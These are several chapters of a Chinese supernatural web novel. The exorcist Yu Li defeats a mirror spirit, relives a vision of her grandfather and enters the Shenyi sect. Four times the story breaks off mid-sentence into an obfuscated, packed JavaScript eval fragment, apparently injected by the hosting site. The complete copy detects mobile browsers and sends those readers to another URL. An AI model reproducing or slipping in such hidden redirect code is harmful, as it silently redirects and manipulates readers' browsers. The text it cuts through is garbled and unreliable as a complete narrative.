跟傻子没话说。 “捡起来。”尤黎脚尖点点地上的符箓,身后似有感应,反手接过几缕发丝。 有一缕没有感应了。 尤黎勾了勾嘴角,径直往上了楼梯。 兴乐小区是九十年代建的小区,设施老旧,也不便安装电梯,楼梯处的栏杆上漆花也落色斑驳,即使在这个季节,楼道也阴凉得可怕光线被狭窄的窗户切割得支离破碎,更添几分压抑。 尤黎走到三楼时,停住了脚步。 她抬头看向上面的楼梯,阶阶向下,阴阳梯,这里有一层楼被隐藏起来了。 伸手抹过额间,一点红痕浮现,尤黎并拢五指,如牵丝引线般从额间抽出,转手甩向头顶的楼梯。 无形的波动瞬间扩散开来,整个楼道的光线仿佛被瞬间抽走,骤然又暗沉了好几个度。空气仿佛凝固了,带着一种粘稠的、令人窒息的压迫感。 尤黎忽然转头,“给你的符箓带着了吗?” 钟熠拉开衬衫口袋,符箓正在里面好好躺着。 “嗯。上去吧。” 说完,尤黎一步跨两个台阶,三步就上到了四楼的楼梯。 老式小区大多是左右对称、一户对一梯的设计,四楼也不例外,左右各有一扇紧闭的、样式老旧的防盗门。 然而,一个穿红色旗袍的女人正站在两户之间的空地上,斜睨着眼打量站在楼梯上的尤黎。 女人看起来很年轻,瓜子脸狐狸眼,面上化了浓妆,剪裁合体的旗袍勾勒出曼妙的身姿,开叉处露出白皙的小腿。挺像挂画里的旗袍美人,就是神情太冷傲,浑身散发着拒人千里之外的冰霜。 “什么野路子,也敢来。”女人率先开口,很不客气。 尤黎一脚踹破面前透明的结界,同样冷漠地回应:“最烦你这种学院派的精英,又蠢又废物。” 女人长眉蹙起:“你!你敢说我是废物,你知不知道我们神一门里,除了师父,我可是第一!” 尤黎仿佛没听见她的自报家门,甚至懒得看她一眼。她闭上眼,似乎在感应着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“华光印?算神一门的独家秘术,可惜你太慢了。” 一口鲜血喷涌而出,女人撑起上半身,咬牙瞪向姿态散漫的尤黎。 尤黎说:“去死吧。” 女人绝望地闭上眼,但预想的疼痛没有到来。 一个穿白色大褂的老头接住她的拳头,笑容和煦,眼神却深邃如同古井。 尤黎眼底闪过几丝讶异,居然有人能闯进她的鬼囿,而她对此无知无觉。 这个人修为在自己之上。 尤黎收回手。 老头拱手一笑:“神一门,师无渡。这位是我师侄宁刹,今天冒犯姑娘,实在抱歉。” 尤黎没有回礼,表情难看,到底也没再计较:“带回去好好教吧,废物一个,还敢这么张狂。” “带回去,恐怕不行,这算是她的任务。”师无渡说话客气,态度却很强硬,“姑娘为所惑之事而来,我这师侄为师门而来,目的不同,想要的结果是一样的。不如一起行事,也算相互有个照应。” 尤黎张嘴就要拒绝,话到嘴边,又改了口:“我可没义务照应她。” 师无渡语气不变:“生死有命,姑娘不赶走她就行。” 尤黎故作勉强说:“我给你这个面子,神一门算不算欠我一个人情?” “姑娘若有求,来神一门,我必应允。”师无渡冲她点头,叹着气扶起宁刹,转身几步,身形就消失在虚空。 尤黎收回了鬼囿。 缓过来的宁刹正使劲拍落旗袍上沾染的灰尘,浑然不觉尤黎悄声绕到了她身后。 一张走势诡异的符箓被贴上宁刹细长白皙的脖颈。 尤黎真心实意地笑了:“去,给我进去探路。” 宁刹满脸不可置信,身体却不由自主听从尤黎的命令,四肢僵硬地进了左边的门户。 尤黎双手插兜倚靠在门外的墙壁上,很是浪荡不羁地斜了钟熠一眼。 钟熠收回不赞同的眼神,不敢对尤黎拿了好处还背刺人的行为发表任何意见。 过了好半天,旗袍上沾了点点血污的宁刹才捧着一个骨灰盒走了出来。 尤黎抓住骨灰盒,五指发力,直接顶碎了盒子。 宁刹急得大喊:“你干什么,里面要是有东西怎么办!” 然而,木屑的灰尘散去,匣子里空无一物。 尤黎似乎并不意外,说:“我就知道,简单的障眼法也能骗了你。还是得亲自进去啊,跟上。” 屋里陈设简单,没有半点危险的迹象,仿佛宁刹那一身血迹都是凭空而来,但尤黎知道,这一切都并不是真实的。 至少明面上的麻烦都让宁刹解决了。 尤黎蹲下来,在客厅地板的中心反复描摹,最后选定了一块地方。 “挖。”她冲跟着身边的两人招狗似的弯弯手。 钟熠被奴役惯了,上次挖坟之后他就长备一把小铲子在包里,二话不说开始刨地。 “这是地板啊下面怎么可能埋东西,再说了我没工具啊怎么挖!”宁刹抗拒得脸都拧成一团,还是抵不过身后符箓的控制,一步步走到了钟熠身旁。 尤黎往沙发上一摊,翘起二郎腿:“你有手啊。” 宁刹纤细的指节在地板上扣挖,很快就磨破皮,渗出鲜血,混在被砸开的地板上。 一块木板被递过来,是钟熠,他把东西塞进宁刹手里:“用这个吧。” 两人奋力挖了快一个小时,才挖穿了这一层。 一间昏暗的地下室赫然出现在他们眼前。 14. 借寿(十三) 尤黎不客气的一脚一个把宁刹和钟熠踹了下去。 “啊——!” “我去!” 两声惊呼伴随着重物落地的闷响,两人如同滚地葫芦般摔进了下方幽深的空间。见没什么异常,接着自己敏捷一跳稳稳落地。 说是个地下室,其实也不准确。这里看起来更像一个书房,靠墙的一边摆着一面很大的书架,正面放了一个类似书桌的实木桌台,桌台上很干净整洁,只放了一面看着颇有年头的铜镜,正对着尤黎几人。 “喂!你居然敢踹我?万一下面有什么不对劲的,是真的会死人的。”宁刹气急败坏地指着尤黎尖叫,骂骂咧咧地扯直了裙边,用手拍开上头的灰尘。 尤黎随手抽了几本书出来,书页上皆是空白,她睨了一眼试图拉着钟熠反抗的宁刹:“真以为我不敢杀你了?” 宁刹冷哼:“你答应过我师叔了。” “我把你杀了,也可以说是你被鬼怪所害啊。”尤黎语气平静,“别挑战我的耐心。” 宁刹的脸色瞬间变得惨白,却再也说不出一个字。她能清晰地感受到尤黎话语中那毫不掩饰的杀意,那不是恐吓,而是陈述一个随时可能发生的事实。,最终还是老老实实安静了下来。 尤黎的目光重新落回那面铜镜上。这面镜子,为什么不是朝着里面? 尤黎忽然一笑,朝钟熠勾勾手:“你过来。” 钟熠听话走了过去,她把铜镜塞到钟熠手上,说:“对着镜子,照七秒。” 铜镜昏黄模糊,照出来的钟熠也平添了几分诡谲阴柔,叫人看得莫名心惊胆战,仿佛镜子里头不是自己一样。 第七秒的时候,钟熠如释重负将镜子反扣过去,问道:“大师,这什么也没发生啊?” 然而,手上的重量陡然一重,手臂猛地向下一沉,钟熠没有防备,一个踉跄险些摔倒在地。 一张人脸正从镜子里钻出来。 接着是他的身体,以一种极其扭曲诡异的方式,从一面小小的镜子里往外使劲钻,以一种违反物理常识的方式整个人挤压成一团肉球,青紫肿胀。 钟熠张大了嘴,愣在原地,还是后头的宁刹强忍着对尤黎的恐惧和对眼前怪物的恶心,飞身扑来,一掌狠狠拍在钟熠紧握着镜框的手腕上打掉了他手里紧握的铜镜。 哐当—— 铜镜落地,整个地下室陷入黑暗之中,他们来时挖出的洞口悄然闭合,将这里与外界彻底隔绝开来。 尤黎疲乏地揉起了太阳穴,悠长地叹息:“现在的你,太弱了。” 黑暗中视物艰难,簌簌飞空的声音便格外突出,尤黎垂眸看着缠绕在指尖的发丝,整条手臂往后一扯,信步在整片黑暗里。 逼仄的地下室却如同走不到尽头般,豁然开阔起来,跟在她身后的两人分明只有两步路的距离,现在她走了起码十步,也没有碰到任何东西。 尤黎嘴唇轻启:“杀。” 飞舞的发丝应声而动,硬生生绞碎了黑暗,眼前再度恢复清明。 她环视一圈,镜子还在地上,宁刹警惕地看着她身后,神色紧张。 钟熠呢? 尤黎感觉到身后的呼吸,慢慢转身,两个一模一样的人都惊惧地盯着她,连呼吸的频率都是一个调调。 左边的钟熠率先开口:“大师,我是钟熠,我是真的。” 右边的钟熠也不甘示弱:“大师,别听他的,我才是真的啊。” 眼看一场辩论战即将开展,尤黎不耐烦地打断他们,声音冷淡得没有一丝波澜,淡淡道:“别争了。宁刹,过来。” 宁刹脖颈后的符箓还在,根本没办法反抗尤黎的指令。 她一边不受控制地靠近,一边嘴里嚷嚷个不停:“干什么啊干什么,你别害我。” 尤黎把她推到右边的钟熠面前,眉眼含笑,吐字清晰:“你杀右边这个,我杀左边这个。” 宁刹秀气的长眉拧起:“什么,你不管真的钟熠了吗?他不是你的人吗?” “学院派的乖宝宝,”尤黎轻轻抚摸她的长发,语调轻柔,“都杀了,就免得要麻烦辨认了呀。” “可那是一条人命啊!”宁刹反驳她。 “一条人命,而已。”尤黎轻描淡写地补充,“你也反抗不了我的命令啊。” 如尤黎所言,宁刹嘴上还在反驳,葱白的指尖已经抵上钟熠的脖颈,一双白腻的手环绕着,掐住了钟熠,指节因为用力而泛白。 尤黎满意地笑了,无召自现的修罗刀也浅浅刺进了她面前的钟熠的胸膛,淡淡的血腥味蔓延在鼻尖。 时间一分一秒流逝,两个钟熠都变得面色苍白,神情痛苦难耐。 尤黎表情平静,只是手上抽回了修罗刀,然后,突然用力重新插回去,这一插,必然贯穿钟熠整个人。 一层薄雾挡住了去而复返的刀刃,面前的钟熠抹去胸口的血迹,面庞如同卡碟的老式放映机,交织错落变幻起来。 钟熠的脸如画纸般被撕下,一张熟悉的脸出现在尤黎面前。站在她面前的钟杜,身形呈现出一种诡异的虚化状态,如同信号不良的投影,边缘模糊不清,在昏暗的光线下微微闪烁、摇曳。 “钟悯。”尤黎像才反应过来一样,又道,“忘了,你是钟杜。” 钟杜的身形很虚,像投影似的,瞧不真切。 他撕扯着喉咙,满腔怨恨:“你为什么不肯放过我!你明明看过我的记忆,明明是他们造的孽,我还回去,有错吗!” 说实话,一个顶着百来岁老人的脸的人,宛如一个小孩在你面前撒泼发怒,其实看着怪违和的。 尤黎先抬手停住了宁刹继续掐钟熠脖子的动作,才回看钟熠不甘的眼神:“你本来就不该活着。” 顿了顿,尤黎继续问:“你用这招,骗过多少准备杀你的人?” 钟杜显然没料到她会这么说,滞楞住了。 尤黎平静无波的眸子冷冷直视他,状似不经意问道:“你都死了,为什么不用自己的脸?” 钟杜一下子激动起来,“那是因为,因为......”,他因为了半天,也没因为出个所以然。 尤黎接过他的话:“因为你,只是一面镜子啊,钟杜。” “怎么骗人骗得连自己都忘了呢?”尤黎不顾钟杜沉得滴水的面色,残忍又天真地掀开真相,“你被他带出梦境,你羡慕他的家庭,你想取代他,可你只是一面镜子,却能不断蛊惑钟悯的镜子。” 钟杜忽然平静下来了,他裂开干枯的嘴唇:“你总是这么聪明。” 钟杜最初是没有名字的,即使他很早就有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他没有成功,担心儿子晚上没好好盖被子着凉的钟母发现了他,钟母脸上的表情明明害怕极了,却硬是没有出声,她抓起镜子,关进了客厅的麻袋里,系了一个又一个结。 第二天,他就被埋在土里,上头盖了块大石头,钟悯没有找到他,也可能是没来找他。 怨恨和不甘成了实质的力量,他真的从镜子里出来了,徒手挖开了层层黄土,挖得满手泥泞指甲脱落。 他不甘心。 “钟悯后来发现你的真面目了,是吗?”尤黎明知故问,俏皮地皱起鼻子,“你失败了呀。” 钟杜说:“我没有失败,我杀了他的父母,杀了他的姐姐,你知道吗,他跪下来求过我,我报仇了,我......” “我说,你想复活他,失败了。”尤黎眼露精光,“身染阴阳,无福之人,活到那个年纪,是你,强行用他的孩子为他借寿,那张纸人,是极杀求一生机的咒。” “到现在,你也在试图复活他,不惜把他炼化成鬼,你真的恨他吗?” “为什么呢,钟杜,为什么呢?” 15. 借寿(十四) 死寂如同粘稠的墨汁,在狭窄的地下室中无声蔓延。空气凝滞得仿佛能拧出水来,每一次呼吸都带着腐朽和血腥的沉重。唯有钟杜那双空洞、怨毒的眼睛,如同深渊的入口,死死锁定着尤黎。 不知过了多久,也许只是一瞬,也许是一个世纪,钟杜那张青灰腐朽的脸上,嘴角猛地向两侧裂开,一直撕裂到耳根,钟杜忽然笑了,嘴角咧到了耳根,沙哑的笑声如同砂纸摩擦,“我果然还是最讨厌你。” “尤黎,你相信命运吗?”他边说着,边伸手狠狠插进自己的左眼,狰狞着从眼眶里挖出自己眼珠,红白血腥模糊成一团,声音里带着一种癫狂的呓语,“命运审判你不得好死。” 粘稠的红白之物混合着碎裂的组织,在掌心兀自转动起来,浑浊的瞳孔瞬间收缩成针尖般大小对准了正中心的尤黎等人。 强烈的晕眩感袭来,如同海啸般瞬间席卷了尤黎的意识。眼前钟杜那狰狞的面孔、昏暗的地下室、惊恐的宁刹和钟熠......一切景象都如同被投入漩涡的碎片,疯狂旋转、扭曲、破碎。再睁眼时,尤黎已经身处在完全不同的环境里。 干净的白墙,淡淡的消毒水气味从鼻尖灌入心肺,勾起尤黎的回忆,她认出来这是哪儿了。 意识到这一点,她快步绕过大厅里熙熙攘攘、面目模糊的人群,冲向电梯。电梯前拥挤的人很多,每个人的视线都好像在不怀好意地盯着她,尤黎转向楼梯,原本挤在电梯的人又跟着簇拥到楼梯口。 无形的压力如同实质的墙壁,从四面八方挤压而来。 “滚!”尤黎横刀一劈,跟在身后的人群被齐齐拦腰斩断。没有惨叫,没有鲜血,只有无数残影如同烟雾般消散。然而,楼梯口的方向,更多模糊的身影正在汇聚,无声地阻挡着去路。 再快一点,再快一点。 尤黎不再纠缠,转身如同离弦之箭,冲向楼梯。她的身影在楼梯间飞速穿梭,一步跨越数级台阶,将那些不断涌现的、意图阻拦的幻影远远甩在身后。 终于,她冲到了那条熟悉的走廊尽头。那扇紧闭的病房门,仿佛承载着千斤重担。尤黎的脚步,在距离门口几步之遥时,竟不由自主地迟疑了。 在她犹豫的功夫,房门自己开了,一个佝偻、熟悉得令她心脏骤停的身影,拄着一根磨得光滑的旧拐杖,颤巍巍地从门内的阴影中走了出来。 “你呀。”赵京穹苍老的面容上满是无奈和早已洞悉一切的疲惫,他摇着头,深深地叹了口气。干枯得如同老树皮的手掌,带着熟悉的温暖和力量,他拉起尤黎的手腕,“进来吧。” 天不怕地不怕的尤黎,在这一刻乖巧得让人不敢相信,她跟着老人走进那间弥漫着药味和老人气息的病房,眼底深处,那点被强行压下的埋怨和不甘,终究还是泄露了出来。 “爷爷,你知道我会来。” 赵京穹弓起拇指中指,结结实实地弹了一个响亮的脑瓜崩,佯怒道:“我就知道你这孩子,安生不了一点!跟你说了多少次,钟悯的事也没少警告你,你还要跟着查,一头就扎了进去,还扎得这么深!” 尤黎捂住脑门,撇撇嘴:“你当年招呼也不打就自己离开了医院,到现在,我都不知道你在哪儿!是生是死,我知道发生到今天的一切都不是巧合,但我想找你,只有这条路。” “你能看见这段我留下的锚,就说明我已经死了。”赵京穹见尤黎的样,面上佯装的一点愤怒也没有了,“小黎,听爷爷的话,停下,不要再继续了。不要被他发现。” “爷爷,到底发生了什么?”尤黎黑亮的眼睛直视着赵京穹,很是倔强。 赵京穹的身影闪烁几下,转瞬间跪倒在地上,医院的场景也被青绿的群山替代,他咳嗽着吐出大口大口的鲜血,一点红色远远立在高山之上,相隔近百米的距离,红衣人的声音也十分清晰,冷漠而淡然。 “用你的骨血,好好养着我的山。” 尤黎立刻上前扶起地上的赵京穹,目眦欲裂,胸中杀意如同火山般喷发。 “别去,别去。”赵京穹颤抖的手拉住尤黎,气息虚弱,他似乎想要说什么,但被喉间不断上涌的血沫堵塞住,说不出半个字来,浑浊的眼睛里充满了急切和警告。 红衣人的衣摆被山风扬起,绣金面具下,漆黑的竖瞳如盘旋在静谧处的大蛇,无声释放着威压。 一时间,尤黎陷入两难的抉择。 用起魂术可以暂时逆转生死,即使在镜子投射的记忆里,同样生效,但心里却升起一股必须要杀死红衣人的强烈欲望,看见他的第一眼,尤黎便猩红了眼眸。 偌大的山林都在此刻停止呼吸,等待着尤黎的选择。 尤黎凶狠的神情忽然平复,她垂眸看向胸前挂着的骨节,如同受到指引般喃喃:“碧血千年,含冤噬魂,感召而出!” 话音落下,满天卷起狂风,山间青绿尽数枯败凋零,一只身形巨大的鬼影悄然出现在尤黎面前,漆黑的巨嘴张开,疯狂地啃食着一切。 衣摆被轻轻扯动,尤黎低下头,是赵京穹,他嘴角带着欣慰的笑,失力地缓缓倒地。 尤黎知道,他是高兴,自己没有落入命运的审判。 铜镜照命,窥命,亦可审命。 逆转生死,与命运对抗,将被千百倍反噬,而强杀红衣人,顺心境同样不可。在命运里做选择,就是认可了铜镜成为审判者。 前头爷爷和自己说的那些,都是在暗示自己,不要落入铜镜的陷阱。 虚伪的场景被撕裂,尤黎再次回到了刚才的地下室。 透过钟杜手上血肉模糊的眼珠,尤黎看见钟熠和宁刹的小小身影,她眸光微动,钟杜这是以身为笼。 尤黎睁眼的那一刻,钟杜就知道自己失败了,在那颗仅存的、充满怨毒的眼睛里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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尤黎一把抓住旁边目瞪口呆的宁刹的衣领,如同拎小鸡般将她提起,脚下猛地发力,带着她如同炮弹般向上方那早已闭合的洞口位置冲去。接触到坚硬水泥顶板的瞬间,那猩红的阵法光芒骤然爆发,如同活物般向上蔓延,竟硬生生融开了一个仅容一人通过的缺口。 两人险之又险地从中跃出,重新回到了满是灰尘的地面房间。 她松开惊魂未定的宁刹,站在破洞边缘,低头俯视着下方血光翻涌,冷眼旁观即将被彻底吞噬的两道身影——正在崩溃的钟杜,和那个白发绿眸的“钟熠”。 猩红的阵法光芒如同沸腾的血海,瞬间淹没了整个地下室,恐怖的封印和毁灭之力在其中疯狂肆虐。 在光芒彻底吞噬下方一切的瞬间,尤黎清晰地看到,游师那双妖异的绿眸,隔着翻涌的血光,依旧死死地锁定着她。那眼神里,没有恐惧,没有愤怒,只有一种近乎疯狂的期待。 尤黎的嘴唇无声开合,对着那片毁灭的血光,送出了最后的审判: “你演技太差。” “快去死吧。” 16. 神一 地下室中翻涌的猩红血光缓缓消散,只留下满地狼藉和空气中浓得化不开的血腥与焦糊味。原本钟杜崩溃的残骸和游师附身的“钟熠”都已消失无踪,仿佛被那恐怖的阵法彻底湮灭。 唯有那面造型古朴的铜镜,孤零零地躺在冰冷的水泥地上,镜面蒙着一层灰烬,反射着死寂的微光。 尤黎召出发丝,将铜镜收回。镜面触手冰凉刺骨,仿佛还残留着钟杜的怨毒和游师的窥探。 “下巴收回去。”她嫌弃地看了宁刹一眼,哼着歌离开了小区。 宁刹不屈不挠地跟着她到小区门口,眼里的八卦之魂熊熊燃烧:“卧槽,忒刺激了吧,这到底怎么回事?那个钟杜怎么回事?那个白毛绿眼睛的又是谁?他怎么就死了?不对,他好像本来就不是活的?还有你最后画的什么阵?那么邪门。” “大人的事,你少管。”尤黎站定,目光扫过车水马龙的街道,眉头微蹙,似乎在权衡,是直接回永福镇的福荫堂,还是顺着鬼手之前指点的东南方向继续追查。 没等她做出决定,一阵嘈杂的人声伴随着纷乱的脚步声由远及近,打破了她的沉思。 走在最前面的,是个娃娃脸的男生,他笑嘻嘻地揽住宁刹:“哟!这不是我们神一门的小天才宁刹师姐嘛?啧啧啧,居然全须全尾地从那鬼地方出来了?真是太可惜了,师弟我还想给你抬棺风光大葬呢。” “咒谁呢你?”宁刹像被踩了尾巴的猫,猛地甩开他的手,柳眉倒竖,随即又疑惑地看向他身后跟着的七八个穿着统一青色劲装、气息沉凝的男女,“怎么来了这么多人?” “这不是怕你死里面,多叫了几个师兄弟帮忙,好抬棺啊。”娃娃脸摊手,一脸无辜转向丝毫不愿参与他们聊天的尤黎,“好面熟的姑娘,我是神一门柳白手,你是?” 尤黎对这种套近乎的把戏毫无兴趣,甚至连眼皮都懒得抬一下,直接抬脚就要绕过这群人离开。 然而,柳白手的手在半空中极其自然地一转,速度陡然加快,如同铁钳般精准地扣住了尤黎的手腕。他脸上依旧挂着人畜无害的笑容,手上的力道却大得惊人,带着不容置疑的强硬。 袖间蛰伏的发丝瞬间出动,尖刺般扎向柳白手,但凡他反应慢一点,喉管就要被彻底贯穿,一击毙命。 柳白手瞳孔骤然收缩,脸上的笑容瞬间凝固,身体以一个不可思议的柔韧角度猛地后仰。那几道致命的黑芒几乎是贴着他的喉结皮肤险险掠过,带起的劲风刮得他皮肤生疼。 “嘶——”柳白手稳住身形,摸了摸毫发无损但隐隐刺痛的喉咙,脸上重新挂起笑容,只是那笑意未达眼底,带着一丝冷意,“光天化日,朗朗乾坤,你出手就要取人性命,这不太好吧?” 尤黎终于抬眼正视他,漆黑的杏眼里没有丝毫波澜,只有一片冰冷的嘲讽。她缓缓开口,声音清冷得如同山涧寒泉:“光天白日?你好好看看现在是在哪儿?” 天空忽然暗沉下来,隐隐的猩红从密布的乌云透出,柳白手环顾四周,发现他们居然不知道什么时候到了一座废弃的大楼。四周是断壁残垣,钢筋裸露,冷风穿过空洞的窗户发出鬼哭般的呜咽,是尤黎在钟熠记忆碎片里看到的废弃大厦。 “你的囿,居然可以扩下整座城市吗?”柳白手啧啧称奇,“宁刹能活着从那里出来,看来也是靠你发善心了。” 宁刹被戳到痛处,气得脸都红了。立刻不满反驳:“你什么意思,找打是不是?” 柳白手毫不客气的嗤笑:“你打得过谁?” 就在这时,一个苍老而平和的声音响起。 “后生可畏啊。”一位须发皆白、身着灰色长袍的老者从神一门弟子中缓步走出。他目光灼灼地看着尤黎,带着毫不掩饰的欣赏和招揽之意,“如此天赋异禀,实属罕见。不知姑娘可愿屈尊,入我神一门?” “没兴趣。”尤黎眼皮都懒得掀起来。她意念微动,笼罩大楼的血色鬼囿开始缓缓收缩,准备离开。 “神一门有赵京穹的东西哦,你可以去偷完再走。”柳白手凑到尤黎耳边,轻声道。 尤黎沉默片刻,“神一门在哪儿?” ...... 尤黎站在神一门门前时,忽然想起,神一门在的方向,不正是鬼手指的方向吗? 沉重的木门被缓缓拉开。门后,并非想象中的森严戒备,而是一方清幽雅致的庭院。师无渡正坐在一株古松下,悠闲地品茶,氤氲的热气模糊了他清癯的面容。看到尤黎一行人出现,他丝毫不感到意外,甚至隔着庭院,遥遥地朝尤黎举了举茶杯,露出一个意味深长而又仿佛洞悉一切的和煦笑容。 最先邀请尤黎去神一门的老者几步上前,与师无渡耳语几句后,师无渡微微颔首,目光在尤黎身上停留片 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16118532|180029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刻。老者便转身,对尤黎做了个“请”的手势,引着她穿过曲折的回廊,来到一处僻静的偏房。 “后生,这几天暂时先住这里吧。”他嘱咐几句房间的东西布置便离开了。 尤黎打量着这间陈设简单却洁净的屋子,还没等她拿出罗盘开始搜寻爷爷可能留下的线索,一个不请自来的身影就斜倚在了门框上。 柳白手眨巴几下眼睛:“尤黎,尤黎。” “滚。”尤黎也没问这家伙怎么知道自己名字的,揣着罗盘开始找爷爷遗留的东西。 柳白手却像块牛皮糖,无视了尤黎的驱逐,依旧笑嘻嘻地试图搭话。尤黎不胜其烦,直接绕过他,走出偏房,开始在神一门布局复杂的庭院里仔细搜寻起来。亭台楼阁、假山池塘、回廊幽径。她如同一个无声的幽灵,穿梭其间,罗盘指针微微颤动,却始终无法锁定确切方位。 不知不觉,她走到了一处极其僻静的角落。这里古木参天,藤蔓缠绕,光线都显得格外昏暗。就在她凝神感应时,一个小小的身影突然从旁边的树丛里钻了出来,拦住了她的去路。 “哎,你是新入门的?怎么在这乱晃?”男孩不过七八岁的模样,一张小脸软软糯糯,大眼睛黑白分明,闪烁着孩童特有的天真好奇,“这里平时都没人来的。” 尤黎停下脚步,目光落在小男孩脸上。那看似天真无邪的面容下,却隐隐透着一丝让尤黎极其熟悉的气息。她深深地叹了口气,语气里充满了无奈和一丝罕见的烦躁。 “你真是阴魂不散。”尤黎叹了口气,她很少问人为什么,显得太蠢,这次却也忍不住了,“从封印里出来代价不小,你到底为什么要跟着我?” 小男孩脸上的天真褪去,取而代之的是一个与他年龄极其不符的诡异笑容。他咧开嘴,露出森森白牙,声音稚嫩,说出的话却令人毛骨悚然。 “因为呀,”,他歪着头,用一种近乎撒娇的语气道,“我们是三世怨侣啊,你怎么能把我都忘记了呢?” 尤黎的眼神冷到了冰点。她连一个字都不想再听,手腕一翻,一张暗黄色的符箓如同闪电般射出,精准地贴在了小男孩的额心。 小男孩脸上的笑容僵住,眼神瞬间涣散,身体软软地向后倒去。 尤黎眼疾手快,上前一步接住了他小小的身体,末了不忘吐槽一句。 “你梦里的怨侣。” 17. 神一 尤黎扛着昏迷的小师弟,步履沉稳地往回走。刚穿过月洞门,一个头发半长不短的弟子便拦住了去路,语气带着探询:“小师弟是怎么了?” 尤黎尤黎眼皮都没抬,声音平直得像块冰:“被鬼上身了,你们神一的禁制真差,随随便便来个鬼都能进来。” “那不行,我要去告诉老天师。”对面人抬脚要走,被一只骨节分明的手摁住肩膀,将他生生钉在原地。 “这个鬼是随随便便的小鬼吗?”柳白手不知道什么时候冒了出来,语气揶揄,“季如来,少学点八卦掌,跟我学学卜算,能变聪明点。” “还不如学我的华光印!”一个清脆却带着几分懒洋洋的女声从高处传来。 尤黎掀起眼皮,宁刹正坐在屋檐边,双臂后撑,被太阳晒得眯起了眼睛,她整个人沐浴在午后的阳光里,眯着眼,像只慵懒的猫儿。阳光在她发梢跳跃,映着那张带着几分野性的俏脸。 “你是最菜的,学了和你一样菜。”柳白手头也不回,只随意朝屋檐方向虚空一按,屋檐无声开裂,刚才姿态懒散的宁刹瞬间手忙脚乱,摔了个七荤八素,好在屋檐高度不算高,她很快就爬起来。 “柳!白!手!”宁刹怒吼一声,像只被踩了尾巴的炸毛猫,揉着摔疼的地方就气势汹汹地冲过来要拼命。季如来老实着一张脸在中间疯狂劝架,张开双臂笨拙地挡在两人中间,嘴里语无伦次地劝着:“别别别,宁师妹!柳师兄!有话好说!都是同门,同门......” 院落附近偶尔路过几位弟子,都视若无睹地瞧了一眼就离开了。 臭美精,挑事狂,老好人。 尤黎嘴角抽搐几下,神一门好歹是爷爷修习过的门派,现在一看真是两眼一黑看不见未来。 就在这鸡飞狗跳的当口,一股细微却异常凝练的灵力波动如同水波般悄然荡开,尤黎略一感知,竟然是四重朝天境。 恰在此时,柳白手手腕一翻,不知用了什么手法,几道细若游丝的金线凭空闪现,瞬间将张牙舞爪的宁刹捆了个结实,随手丢给还在发懵的季如来。他则一步凑到尤黎跟前,脸上又挂起那副自信满满、带着点神秘兮兮的笑容,伸手就要去拉尤黎的手腕。 “干什么?” “带你去找你爷爷留的东西,来不来?”柳白手压低声音,自信一笑,果然成功让戒备的尤黎肯正眼看他。 尤黎打开他申过来的手,皱眉道:“去就去,非要拉着我干什么?” 柳白手柳白手揉了揉被拍红的手背,也不恼,解释道:“你现在还不是神一门人,进不了那里,我能带你进去。” 听罢,尤黎盯着他看了几秒,权衡利弊,最终还是带着十二万分的不情愿,极其勉强地将手递了过去。柳白手的手指修长而微凉,触感并不令人讨厌,但尤黎依旧绷紧了身体。 临走前,柳白手不忘回头嘱咐解不清宁刹身上绳结的季如来: “季如来,老天师回来了就说我出去了。” “你是亲传弟子吧?老天师不是应该算你师父吗?”尤黎挺久没有接触外面的门派了,这会儿有点弄不清。 柳白手说得云淡风轻:“对啊,但是我准备叛出师门了,提前改口让他们适应一下。” “你师父也知道?” “嗯,我已经这么叫他两个月了,应该习惯了吧。”柳白手理所当然地说。 尤黎没发表意见,一方面这是人家自己的事,就算他是个神经病,也是自己的事,另一方面,她袖间的发丝在不安地窜动,好像被什么惊动。 两人穿过几重院落,来到一株虬枝盘结、遮天蔽日的古槐树下。柳白手停住了脚步,抬手印上树上的一块残缺位置。 眼前景象如石子投入水面,出现阵阵波纹,最后竟化作一条深邃幽暗、不见尽头的青石长廊。 坦白来说,尤黎在庭院里乱晃那会,确实没有发现这里的幻术,施术人等级在自己之上,也不怪柳白手说没有他带路自己是找不到的。 “这里的幻术也是老天师设的?”尤黎打量起走廊两边的壁画,繁复古朴,因为被保存得很好,几乎看不见什么磨损,颜色也很鲜艳,可见主人对壁画的爱惜。 柳白手指尖燃起一簇很小的火,挨个点燃墙壁上点壁灯,跳跃的火光映着他轮廓分明的侧脸,也照亮了更多壁画细节:“不是,是我师叔设的,就是你在小区见到那个老头,师无渡。” 回想起师无渡可以不惊动自己强入鬼囿,这人至少是三重如仙境。 两人沿着狭窄的长廊走了十来分钟,忽然进入一处很开阔的空地,墙壁上也不再是先前走廊上那样篇幅小的壁画,而是占满了一整面墙的朝元图。 各路仙真、神祇、力士、玉女…衣袂飘飘,宝相庄严,浩浩荡荡朝谒元始天尊。壁灯昏黄的光线将这幅宏大壮丽的壁画映照得更加肃穆神圣。 